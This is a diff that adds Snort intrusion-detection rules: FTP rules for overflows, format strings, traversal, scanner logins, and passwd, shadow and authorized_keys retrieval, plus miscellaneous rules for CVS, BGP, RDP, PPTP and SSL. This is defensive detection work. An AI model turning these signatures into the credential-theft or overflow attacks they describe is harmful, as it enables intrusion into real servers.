+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP MKD overflow attempt"; flow:to_server,established; content:"MKD"; nocase; isdataat:100,relative; pcre:"/^MKD\s[^\n]{100}/smi"; reference:bugtraq,612; reference:bugtraq,7278; reference:bugtraq,9872; reference:cve,1999-0911; reference:nessus,12108; classtype:attempted-admin; sid:1973; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP REST overflow attempt"; flow:to_server,established; content:"REST"; nocase; isdataat:100,relative; pcre:"/^REST\s[^\n]{100}/smi"; reference:bugtraq,2972; reference:cve,2001-0826; classtype:attempted-admin; sid:1974; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP DELE overflow attempt"; flow:to_server,established; content:"DELE"; nocase; isdataat:100,relative; pcre:"/^DELE\s[^\n]{100}/smi"; reference:bugtraq,2972; reference:cve,2001-0826; reference:cve,2001-1021; classtype:attempted-admin; sid:1975; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP RMD overflow attempt"; flow:to_server,established; content:"RMD"; nocase; isdataat:100,relative; pcre:"/^RMD\s[^\n]{100}/smi"; reference:bugtraq,2972; reference:cve,2000-0133; reference:cve,2001-0826; reference:cve,2001-1021; classtype:attempted-admin; sid:1976; rev:9;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP invalid MODE"; flow:to_server,established; content:"MODE"; nocase; pcre:"/^MODE\s+[^ABSC]{1}/msi"; classtype:protocol-command-decode; sid:1623; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP large PWD command"; flow:to_server,established; dsize:10; content:"PWD"; nocase; classtype:protocol-command-decode; sid:1624; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP large SYST command"; flow:to_server,established; dsize:10; content:"SYST"; nocase; classtype:protocol-command-decode; sid:1625; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP CWD Root directory transversal attempt"; flow:to_server,established; content:"CWD"; nocase; content:"C|3A 5C|"; distance:1; reference:bugtraq,7674; reference:cve,2003-0392; reference:nessus,11677; classtype:protocol-command-decode; sid:2125; rev:8;)
+
+
+
+
+# bad ftp commands
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP SITE ZIPCHK overflow attempt"; flow:to_server,established; content:"SITE"; nocase; content:"ZIPCHK"; distance:1; nocase; isdataat:100,relative; pcre:"/^SITE\s+ZIPCHK\s[^\n]{100}/smi"; reference:cve,2000-0040; classtype:attempted-admin; sid:1921; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP SITE NEWER attempt"; flow:to_server,established; content:"SITE"; nocase; content:"NEWER"; distance:1; nocase; pcre:"/^SITE\s+NEWER/smi"; reference:cve,1999-0880; reference:nessus,10319; classtype:attempted-dos; sid:1864; rev:7;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP SITE EXEC attempt"; flow:to_server,established; content:"SITE"; nocase; content:"EXEC"; distance:0; nocase; pcre:"/^SITE\s+EXEC/smi"; reference:arachnids,317; reference:bugtraq,2241; reference:cve,1999-0080; reference:cve,1999-0955; classtype:bad-unknown; sid:361; rev:15;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT STAT * dos attempt"; flow:to_server,established; content:"STAT"; nocase; pcre:"/^STAT\s+[^\n]*\x2a/smi"; reference:bugtraq,4482; reference:cve,2002-0073; reference:nessus,10934; reference:url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx; classtype:attempted-dos; sid:1777; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT STAT ? dos attempt"; flow:to_server,established; content:"STAT"; nocase; pcre:"/^STAT\s+[^\n]*\x3f/smi"; reference:bugtraq,4482; reference:cve,2002-0073; reference:nessus,10934; reference:url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx; classtype:attempted-dos; sid:1778; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP tar parameters"; flow:to_server,established; content:" --use-compress-program "; nocase; reference:arachnids,134; reference:bugtraq,2240; reference:cve,1999-0202; reference:cve,1999-0997; classtype:bad-unknown; sid:362; rev:12;)
+
+# bad directories
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP CWD ~root attempt"; flow:to_server,established; content:"CWD"; nocase; content:"~root"; distance:1; nocase; pcre:"/^CWD\s+~root/smi"; reference:arachnids,318; reference:cve,1999-0082; classtype:bad-unknown; sid:336; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP CWD ..."; flow:to_server,established; content:"CWD"; nocase; content:"..."; distance:0; pcre:"/^CWD\s[^\n]*?\.\.\./smi"; reference:bugtraq,9237; classtype:bad-unknown; sid:1229; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP CWD ~ attempt"; flow:to_server,established; content:"CWD"; nocase; pcre:"/^CWD\s+~/smi"; reference:bugtraq,2601; reference:bugtraq,9215; reference:cve,2001-0421; classtype:denial-of-service; sid:1672; rev:11;)
+
+# vulnerabilities against specific implementations of ftp
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP serv-u directory transversal"; flow:to_server,established; content:".%20."; nocase; reference:bugtraq,2052; reference:cve,2001-0054; classtype:bad-unknown; sid:360; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP wu-ftp bad file completion attempt ["; flow:to_server,established; content:"~"; content:"["; distance:0; reference:bugtraq,3581; reference:bugtraq,3707; reference:cve,2001-0550; reference:cve,2001-0886; classtype:misc-attack; sid:1377; rev:15;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP wu-ftp bad file completion attempt {"; flow:to_server,established; content:"~"; content:"{"; distance:0; reference:bugtraq,3581; reference:bugtraq,3707; reference:cve,2001-0550; reference:cve,2001-0886; classtype:misc-attack; sid:1378; rev:15;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP RNFR ././ attempt"; flow:to_server,established; content:"RNFR "; nocase; content:" ././"; nocase; classtype:misc-attack; sid:1622; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP command overflow attempt"; flow:to_server,established,no_stream; dsize:>100; reference:bugtraq,4638; reference:cve,2002-0606; classtype:protocol-command-decode; sid:1748; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP LIST directory traversal attempt"; flow:to_server,established; content:"LIST"; nocase; content:".."; distance:1; content:".."; distance:1; reference:bugtraq,2618; reference:cve,2001-0680; reference:cve,2002-1054; reference:nessus,11112; classtype:protocol-command-decode; sid:1992; rev:8;)
+
+
+# BAD FILES
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP .forward"; flow:to_server,established; content:".forward"; reference:arachnids,319; classtype:suspicious-filename-detect; sid:334; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP .rhosts"; flow:to_server,established; content:".rhosts"; reference:arachnids,328; classtype:suspicious-filename-detect; sid:335; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP authorized_keys"; flow:to_server,established; content:"authorized_keys"; classtype:suspicious-filename-detect; sid:1927; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP passwd retrieval attempt"; flow:to_server,established; content:"RETR"; nocase; content:"passwd"; reference:arachnids,213; classtype:suspicious-filename-detect; sid:356; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP shadow retrieval attempt"; flow:to_server,established; content:"RETR"; nocase; content:"shadow"; classtype:suspicious-filename-detect; sid:1928; rev:3;)
+
+# suspicious login attempts
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP ADMw0rm ftp login attempt"; flow:to_server,established; content:"USER"; nocase; content:"w0rm"; distance:1; nocase; pcre:"/^USER\s+w0rm/smi"; reference:arachnids,01; classtype:suspicious-login; sid:144; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP adm scan"; flow:to_server,established; content:"PASS ddd@|0A|"; reference:arachnids,332; classtype:suspicious-login; sid:353; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP iss scan"; flow:to_server,established; content:"pass -iss@iss"; reference:arachnids,331; classtype:suspicious-login; sid:354; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP pass wh00t"; flow:to_server,established; content:"pass wh00t"; nocase; reference:arachnids,324; classtype:suspicious-login; sid:355; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP piss scan"; flow:to_server,established; content:"pass -cklaus"; classtype:suspicious-login; sid:357; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP saint scan"; flow:to_server,established; content:"pass -saint"; reference:arachnids,330; classtype:suspicious-login; sid:358; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP satan scan"; flow:to_server,established; content:"pass -satan"; reference:arachnids,329; classtype:suspicious-login; sid:359; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP USER format string attempt"; flow:to_server,established; content:"USER"; nocase; pcre:"/^USER\s[^\n]*?%[^\n]*?%/smi"; reference:bugtraq,7474; reference:bugtraq,7776; reference:bugtraq,9262; reference:bugtraq,9402; reference:bugtraq,9600; reference:bugtraq,9800; reference:cve,2004-0277; reference:nessus,10041; reference:nessus,11687; classtype:misc-attack; sid:2178; rev:16;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP PASS format string attempt"; flow:to_server,established; content:"PASS"; nocase; pcre:"/^PASS\s[^\n]*?%[^\n]*?%/smi"; reference:bugtraq,7474; reference:bugtraq,9262; reference:bugtraq,9800; reference:cve,2000-0699; classtype:misc-attack; sid:2179; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP MKDIR format string attempt"; flow:to_server,established; content:"MKDIR"; nocase; pcre:"/^MKDIR\s[^\n]*?%[^\n]*?%/smi"; reference:bugtraq,9262; classtype:misc-attack; sid:2332; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP RENAME format string attempt"; flow:to_server,established; content:"RENAME"; nocase; pcre:"/^RENAME\s[^\n]*?%[^\n]*?%/smi"; reference:bugtraq,9262; classtype:misc-attack; sid:2333; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP LIST buffer overflow attempt"; flow:to_server,established; content:"LIST"; nocase; pcre:"/^LIST\s[^\n]{100,}/smi"; reference:bugtraq,10181; reference:bugtraq,6869; reference:bugtraq,7251; reference:bugtraq,7861; reference:bugtraq,8486; reference:bugtraq,9675; reference:cve,1999-0349; reference:cve,1999-1510; reference:cve,2000-0129; reference:url,www.microsoft.com/technet/security/bulletin/MS99-003.mspx; classtype:misc-attack; sid:2338; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP LIST integer overflow attempt"; flow:to_server,established; content:"LIST"; nocase; pcre:"/^LIST\s+\x22-W\s+\d+/smi"; reference:bugtraq,8875; reference:cve,2003-0853; reference:cve,2003-0854; classtype:misc-attack; sid:2272; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 3535 (msg:"FTP Yak! FTP server default account login attempt"; flow:to_server,established; content:"USER"; nocase; content:"y049575046"; nocase; pcre:"/^USER\s+y049575046/smi"; reference:bugtraq,9072; classtype:suspicious-login; sid:2334; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 3535 (msg:"FTP RMD / attempt"; flow:to_server,established; content:"RMD"; nocase; pcre:"/^RMD\s+\x2f$/smi"; reference:bugtraq,9159; classtype:attempted-dos; sid:2335; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP invalid MDTM command attempt"; flow:to_server,established; content:"MDTM"; nocase; pcre:"/^MDTM \d+[-+]\D/smi"; reference:bugtraq,9751; reference:cve,2001-1021; reference:cve,2004-0330; classtype:attempted-admin; sid:2416; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP format string attempt"; flow:to_server,established; content:"%"; pcre:"/\s+.*?%.*?%/smi"; classtype:string-detect; sid:2417; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP RETR format string attempt"; flow:to_server,established; content:"RETR"; nocase; pcre:"/^RETR\s[^\n]*?%[^\n]*?%/smi"; reference:bugtraq,9800; classtype:attempted-admin; sid:2574; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP RNFR overflow attempt"; flow:to_server,established; content:"RNFR"; nocase; isdataat:100,relative; pcre:"/^RNFR\s[^\n]{100}/smi"; classtype:attempted-admin; sid:3077; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP REST with numeric argument"; flow:to_server,established; content:"REST"; nocase; pcre:"/REST\s+[0-9]+\n/i"; reference:bugtraq,7825; classtype:attempted-recon; sid:3460; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP PORT bounce attempt"; flow:to_server,established; content:"PORT"; nocase; ftpbounce; pcre:"/^PORT/smi"; classtype:misc-attack; sid:3441; rev:1;)
--- snort-2.8.5.2.orig/rules/misc.rules
+++ snort-2.8.5.2/rules/misc.rules
@@ -0,0 +1,119 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: misc.rules,v 1.53.2.7.2.4 2005/07/22 19:19:54 mwatchinski Exp $
+#-----------
+# MISC RULES
+#-----------
+
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"MISC source route lssr"; ipopts:lsrr; reference:arachnids,418; reference:bugtraq,646; reference:cve,1999-0909; reference:url,www.microsoft.com/technet/security/bulletin/MS99-038.mspx; classtype:bad-unknown; sid:500; rev:5;)
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"MISC source route lssre"; ipopts:lsrre; reference:arachnids,420; reference:bugtraq,646; reference:cve,1999-0909; reference:url,www.microsoft.com/technet/security/bulletin/MS99-038.mspx; classtype:bad-unknown; sid:501; rev:5;)
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"MISC source route ssrr"; ipopts:ssrr ; reference:arachnids,422; classtype:bad-unknown; sid:502; rev:2;)
+alert tcp $EXTERNAL_NET 20 -> $HOME_NET :1023 (msg:"MISC Source Port 20 to <1024"; flow:stateless; flags:S,12; reference:arachnids,06; classtype:bad-unknown; sid:503; rev:7;)
+alert tcp $EXTERNAL_NET 53 -> $HOME_NET :1023 (msg:"MISC source port 53 to <1024"; flow:stateless; flags:S,12; reference:arachnids,07; classtype:bad-unknown; sid:504; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1417 (msg:"MISC Insecure TIMBUKTU Password"; flow:to_server,established; content:"|05 00|>"; depth:16; reference:arachnids,229; classtype:bad-unknown; sid:505; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 5631 (msg:"MISC PCAnywhere Attempted Administrator Login"; flow:to_server,established; content:"ADMINISTRATOR"; classtype:attempted-admin; sid:507; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 70 (msg:"MISC gopher proxy"; flow:to_server,established; content:"ftp|3A|"; nocase; content:"@/"; reference:arachnids,409; classtype:bad-unknown; sid:508; rev:7;)
+alert tcp $HOME_NET 5631:5632 -> $EXTERNAL_NET any (msg:"MISC PCAnywhere Failed Login"; flow:from_server,established; content:"Invalid login"; depth:16; reference:arachnids,240; classtype:unsuccessful-user; sid:512; rev:4;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 27374 (msg:"MISC ramen worm"; flow:to_server,established; content:"GET "; depth:8; nocase; reference:arachnids,461; classtype:bad-unknown; sid:514; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"MISC SNMP NT UserList"; content:"+|06 10|@|14 D1 02 19|"; reference:nessus,10546; classtype:attempted-recon; sid:516; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 177 (msg:"MISC xdmcp query"; content:"|00 01 00 03 00 01 00|"; reference:arachnids,476; classtype:attempted-recon; sid:517; rev:1;)
+
+# once we get response, check for content:"|00 01 00|"; offset:0; depth:3;
+alert udp $EXTERNAL_NET any -> $HOME_NET 177 (msg:"MISC xdmcp info query"; content:"|00 01 00 02 00 01 00|"; reference:nessus,10891; classtype:attempted-recon; sid:1867; rev:1;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"MISC Large UDP Packet"; dsize:>4000; reference:arachnids,247; classtype:bad-unknown; sid:521; rev:2;)
+# alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"MISC Tiny Fragments"; dsize:< 25; fragbits:M; classtype:bad-unknown; sid:522; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 1900 (msg:"MISC UPnP malformed advertisement"; content:"NOTIFY * "; nocase; reference:bugtraq,3723; reference:cve,2001-0876; reference:cve,2001-0877; reference:url,www.microsoft.com/technet/security/bulletin/MS01-059.mspx; classtype:misc-attack; sid:1384; rev:8;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 1900 (msg:"MISC UPnP Location overflow"; content:"Location|3A|"; nocase; pcre:"/^Location\:[^\n]{128}/smi"; reference:bugtraq,3723; reference:cve,2001-0876; classtype:misc-attack; sid:1388; rev:12;)
+alert tcp $AIM_SERVERS any -> $HOME_NET any (msg:"MISC AIM AddGame attempt"; flow:to_client,established; content:"aim|3A|AddGame?"; nocase; reference:bugtraq,3769; reference:cve,2002-0005; reference:url,www.w00w00.org/files/w00aimexp/; classtype:misc-attack; sid:1393; rev:12;)
+alert tcp $AIM_SERVERS any -> $HOME_NET any (msg:"MISC AIM AddExternalApp attempt"; flow:to_client,established; content:"aim|3A|AddExternalApp?"; nocase; reference:url,www.w00w00.org/files/w00aimexp/; classtype:misc-attack; sid:1752; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 7001 (msg:"MISC AFS access"; content:"|00 00 03 E7 00 00 00 00 00 00 00|e|00 00 00 00 00 00 00 00 0D 05 00 00 00 00 00 00 00|"; reference:nessus,10441; classtype:misc-activity; sid:1504; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 32000 (msg:"MISC Xtramail Username overflow attempt"; flow:to_server,established; dsize:>500; content:"Username|3A|"; nocase; isdataat:100,relative; pcre:"/^Username\:[^\n]{100}/smi"; reference:bugtraq,791; reference:cve,1999-1511; reference:nessus,10323; classtype:attempted-admin; sid:1636; rev:10;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"MISC OpenSSL Worm traffic"; flow:to_server,established; content:"TERM=xterm"; nocase; reference:url,www.cert.org/advisories/CA-2002-27.html; classtype:web-application-attack; sid:1887; rev:3;)
+alert udp $EXTERNAL_NET 2002 -> $HTTP_SERVERS 2002 (msg:"MISC slapper worm admin traffic"; content:"|00 00|E|00 00|E|00 00|@|00|"; depth:10; reference:url,isc.incidents.org/analysis.html?id=167; reference:url,www.cert.org/advisories/CA-2002-27.html; classtype:trojan-activity; sid:1889; rev:5;)
+
+
+# once we get response, check for content:"|03|"; offset:0; depth:1;
+alert tcp $EXTERNAL_NET any -> $HOME_NET 3389 (msg:"MISC MS Terminal server request RDP"; flow:to_server,established; content:"|03 00 00 0B 06 E0 00 00 00 00 00|"; depth:11; reference:bugtraq,3099; reference:cve,2001-0540; reference:url,www.microsoft.com/technet/security/bulletin/MS01-040.mspx; classtype:protocol-command-decode; sid:1447; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 3389 (msg:"MISC MS Terminal server request"; flow:to_server,established; content:"|03 00 00|"; depth:3; content:"|E0 00 00 00 00 00|"; depth:6; offset:5; reference:bugtraq,3099; reference:cve,2001-0540; reference:url,www.microsoft.com/technet/security/bulletin/MS01-040.mspx; classtype:protocol-command-decode; sid:1448; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 3389 (msg:"MISC MS Terminal Server no encryption session initiation attempt"; flow:to_server,established; content:"|03 00 01|"; depth:3; content:"|00|"; depth:1; offset:288; reference:url,www.microsoft.com/technet/security/bulletin/MS01-052.mspx; classtype:attempted-dos; sid:2418; rev:4;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 2533 (msg:"MISC Alcatel PABX 4400 connection attempt"; flow:established,to_server; content:"|00 01|C"; depth:3; reference:nessus,11019; classtype:misc-activity; sid:1819; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 67 (msg:"MISC bootp hardware address length overflow"; content:"|01|"; depth:1; byte_test:1,>,6,2; reference:cve,1999-0798; classtype:misc-activity; sid:1939; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 67 (msg:"MISC bootp invalid hardware type"; content:"|01|"; depth:1; byte_test:1,>,7,1; reference:cve,1999-0798; classtype:misc-activity; sid:1940; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 67 (msg:"MISC bootp hostname format string attempt"; content:"|01|"; depth:1; content:"|0C|"; distance:240; content:"%"; distance:0; content:"%"; within:8; distance:1; content:"%"; within:8; distance:1; reference:bugtraq,4701; reference:cve,2002-0702; reference:nessus,11312; classtype:misc-attack; sid:2039; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 27155 (msg:"MISC GlobalSunTech Access Point Information Disclosure attempt"; content:"gstsearch"; reference:bugtraq,6100; classtype:misc-activity; sid:1966; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7100 (msg:"MISC xfs overflow attempt"; flow:to_server,established; dsize:>512; content:"B|00 02|"; depth:3; reference:bugtraq,6241; reference:cve,2002-1317; reference:nessus,11188; classtype:misc-activity; sid:1987; rev:7;)
+
+alert udp $HOME_NET 49 -> $EXTERNAL_NET any (msg:"MISC xtacacs failed login response"; content:"|80 02|"; depth:2; content:"|02|"; distance:4; classtype:misc-activity; sid:2041; rev:2;)
+alert udp $HOME_NET 500 -> $EXTERNAL_NET 500 (msg:"MISC isakmp login failed"; content:"|10 05|"; depth:2; offset:17; content:"|00 00 00 01 01 00 00 18|"; within:8; distance:13; classtype:misc-activity; sid:2043; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 873 (msg:"MISC rsyncd module list access"; flow:to_server,established; content:"|23|list"; depth:5; classtype:misc-activity; sid:2047; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 873 (msg:"MISC rsyncd overflow attempt"; flow:to_server; byte_test:2,>,4000,0; content:"|00 00|"; depth:2; offset:2; reference:bugtraq,9153; reference:cve,2003-0962; reference:nessus,11943; classtype:misc-activity; sid:2048; rev:6;)
+
+
+# This rule needs some work since you don't have to pass BEGIN and END
+# anywhere near each other.
+#
+#! alert tcp $EXTERNAL_NET any -> $HOME_NET 2401 ( \
+#!   msg:"MISC CVS username overflow attempt"; flow:to_server,established; \
+#!   content:"BEGIN AUTH REQUEST|0A|"; content:!"|0A|END AUTH REQUEST|0A|"; \
+#!   within:255; classtype:misc-attack;)
+
+
+# normally Idon't like using 3a for :, but in this case... I'd like to remove the false positives stemming from someone using anoncvs to checkout snort rules :)
+alert tcp $HOME_NET 2401 -> $EXTERNAL_NET any (msg:"MISC CVS invalid user authentication response"; flow:from_server,established; content:"E Fatal error, aborting."; content:"|3A| no such user"; classtype:misc-attack; sid:2008; rev:4;)
+alert tcp $HOME_NET 2401 -> $EXTERNAL_NET any (msg:"MISC CVS invalid repository response"; flow:from_server,established; content:"error "; content:"|3A| no such repository"; content:"I HATE YOU"; classtype:misc-attack; sid:2009; rev:2;)
+alert tcp $HOME_NET 2401 -> $EXTERNAL_NET any (msg:"MISC CVS double free exploit attempt response"; flow:from_server,established; content:"free|28 29 3A| warning|3A| chunk is already free"; reference:bugtraq,6650; reference:cve,2003-0015; classtype:misc-attack; sid:2010; rev:4;)
+alert tcp $HOME_NET 2401 -> $EXTERNAL_NET any (msg:"MISC CVS invalid directory response"; flow:from_server,established; content:"E protocol error|3A| invalid directory syntax in"; reference:bugtraq,6650; reference:cve,2003-0015; classtype:misc-attack; sid:2011; rev:4;)
+alert tcp $HOME_NET 2401 -> $EXTERNAL_NET any (msg:"MISC CVS missing cvsroot response"; flow:from_server,established; content:"E protocol error|3A| Root request missing"; classtype:misc-attack; sid:2012; rev:2;)
+alert tcp $HOME_NET 2401 -> $EXTERNAL_NET any (msg:"MISC CVS invalid module response"; flow:from_server,established; content:"cvs server|3A| cannot find module"; content:"error"; distance:1; classtype:misc-attack; sid:2013; rev:2;)
+alert tcp $HOME_NET 2401 -> $EXTERNAL_NET any (msg:"MISC CVS non-relative path error response"; flow:from_server,established; content:"E cvs server|3A| warning|3A| cannot make directory CVS in /"; reference:bugtraq,9178; reference:cve,2003-0977; classtype:misc-attack; sid:2317; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 2401 (msg:"MISC CVS non-relative path access attempt"; flow:to_server,established; content:"Argument"; pcre:"m?^Argument\s+/?smi"; pcre:"/^Directory/smiR"; reference:bugtraq,9178; reference:cve,2003-0977; classtype:misc-attack; sid:2318; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 2401 (msg:"MISC CVS Max-dotdot integer overflow attempt"; flow:to_server,established; content:"Max-dotdot"; nocase; pcre:"/^Max-dotdot[\s\r\n]*\d{3,}/msi"; reference:bugtraq,10499; reference:cve,2004-0417; classtype:misc-attack; sid:2583; rev:2;)
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1723 (msg:"MISC Microsoft PPTP Start Control Request buffer overflow attempt"; flow:to_server,established,no_stream; dsize:>156; content:"|00 01|"; depth:2; offset:2; content:"|00 01|"; depth:2; offset:8; reference:bugtraq,5807; reference:cve,2002-1214; reference:url,www.microsoft.com/technet/security/bulletin/MS02-063.mspx; classtype:attempted-admin; sid:2126; rev:8;)
+
+# this rule is specificly not looking for flow, since tcpdump handles lengths wrong
+alert tcp any any <> any 179 (msg:"MISC BGP invalid length"; flow:stateless; content:"|FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF|"; byte_test:2,<,19,0,relative; reference:bugtraq,6213; reference:cve,2002-1350; reference:url,sf.net/tracker/index.php?func=detail&aid=744523&group_id=53066&atid=469575; classtype:bad-unknown; sid:2158; rev:8;)
+alert tcp $EXTERNAL_NET any <> $HOME_NET 179 (msg:"MISC BGP invalid type 0"; flow:stateless; content:"|FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF|"; depth:16; content:"|00|"; within:1; distance:2; reference:bugtraq,6213; reference:cve,2002-1350; classtype:bad-unknown; sid:2159; rev:11;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 995 (msg:"POP3 SSLv3 invalid data version attempt"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; content:!"|03|"; depth:1; offset:9; reference:bugtraq,10115; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2500; rev:5;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 995 (msg:"POP3 PCT Client_Hello overflow attempt"; flow:to_server,established; flowbits:isnotset,sslv2.server_hello.request; flowbits:isnotset,sslv3.server_hello.request; flowbits:isnotset,tlsv1.server_hello.request; content:"|01|"; depth:1; offset:2; byte_test:2,>,0,6; byte_test:2,!,0,8; byte_test:2,!,16,8; byte_test:2,>,20,10; content:"|8F|"; depth:1; offset:11; byte_test:2,>,32768,0,relative; reference:bugtraq,10116; reference:cve,2003-0719; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-admin; sid:2516; rev:12;)
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 995 (msg:"POP3 SSLv3 Client_Hello request"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; content:"|16 03 00|"; depth:3; content:"|01|"; depth:1; offset:5; flowbits:set,sslv3.client_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2532; rev:6;)
